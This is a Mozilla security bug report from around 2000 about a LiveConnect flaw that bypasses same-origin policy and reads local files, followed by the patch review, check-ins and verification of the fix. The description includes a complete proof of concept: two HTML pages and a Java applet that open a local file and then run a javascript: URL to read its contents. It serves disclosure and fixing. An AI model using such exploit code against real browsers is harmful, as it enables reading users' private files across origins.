59766 - Circumventing Same Origin with LiveConnect

Status: VERIFIED FIXED

(Core :: Security, defect, P3)

Description

[Mitchell Stoltz (not reading bugmail)]

There is a security vulnerability in LiveConnect which allows
circumventing same origin security policy and also allows accessing
local files.

The code is:
---calljava3.html------
Written by <A HREF="http://www.guninski.com">Georgi Guninski</A> <APPLET
CODE="calljava3.class" WIDTH=700 HEIGHT=300 MAYSCRIPT> <PARAM NAME="jscode"
VALUE="file:///c|/test.html"> <PARAM NAME="call" VALUE="open"> </APPLET>  <A
HREF="calljava3-1.html" TARGET="_blank">DOIT</A> <SCRIPT>
setTimeout("window.open('calljava3-1.html')",3000);
</SCRIPT> -------------------------

---calljava3-1.html------
Written by <A HREF="http://www.guninski.com">Georgi Guninski</A> <APPLET
CODE="calljava3.class" WIDTH=700 HEIGHT=300 MAYSCRIPT> <PARAM NAME="jscode"
VALUE="javascript:window.focus();alert(document.body.innerHTML)"> <PARAM
NAME="call" VALUE="open"> </APPLET> -------------------------

---calljava3.java-------
// Written by Georgi Guninski
import java.applet.Applet;
import netscape.javascript.*;

public class calljava3 extends Applet {

public void start()
{
  try
   {
    JSObject win = (JSObject) JSObject.getWindow(this);
    Object args[] = new Object[2];
    args[0] = getParameter("jscode");
    args[1] = "georgi";	
    win.call(getParameter("call"),args);
   }
    catch(Exception x){System.out.println(x.toString());}
}
}
------------------------

Comment 1

[John Unruh]

Mass changing QA to ckritzer.

Comment 2

[Mitchell Stoltz (not reading bugmail)]

Attachment: Patch - Push JS Context Stack

Comment 3

[John Bandhauer]

r=jband.

It would not hurt to note here in the bug or (better) in comments in the code
why this fixes anything. At least some mention that the security manager is
going to be looking at the context stack would help make clear to people who see
the code in the future what is the point of this AutoPush junk. It is quite
non-obvious.

Also, I see an old FIXME comment in the code...
/* FIXME: What about security stuff ? Don't principals need to be set here ? */
...Is this still a concern? If so then is there a bug? If not then this seems
like a good time to whack the comment.

Comment 4

[Mitchell Stoltz (not reading bugmail)]

Checked into trunk. I'm leaving this bug open because this should be checked
into the branch in the case of a 6.01 release.

Comment 5

[Mitchell Stoltz (not reading bugmail)]

Marking Fixed, though it still needs to go into the branch. Chris, can you verify?

Comment 6

[ckritzer (gone)]

Marking VERIFIED FIXED on Win98 2000-12-05-04 Commercial build

Comment 7

[selmer (gone)]

Mitch, please check this in on the branch ASAP.

Comment 8

[lchiang]

mitch - has this been checked into the branch yet?

Comment 9

[Mitchell Stoltz (not reading bugmail)]

Checked in on the branch.

Comment 10

[ckritzer (gone)]

Tested this on the win32 2000-12-11-12-MTEST branch build and it looks fine.

Comment 11

[lchiang]

This fix may have caused a regression in IM in both trunk and mtest (2nd set of 
builds).   The IM bug number is: http://bugscape/show_bug.cgi?id=3510.

Comment 12

[Mitchell Stoltz (not reading bugmail)]

I'm looking into it. In the meantime, please don't back this out; that would
open a serious security problem.

Comment 13

[Mitchell Stoltz (not reading bugmail)]

Removing NS_Confidential flag.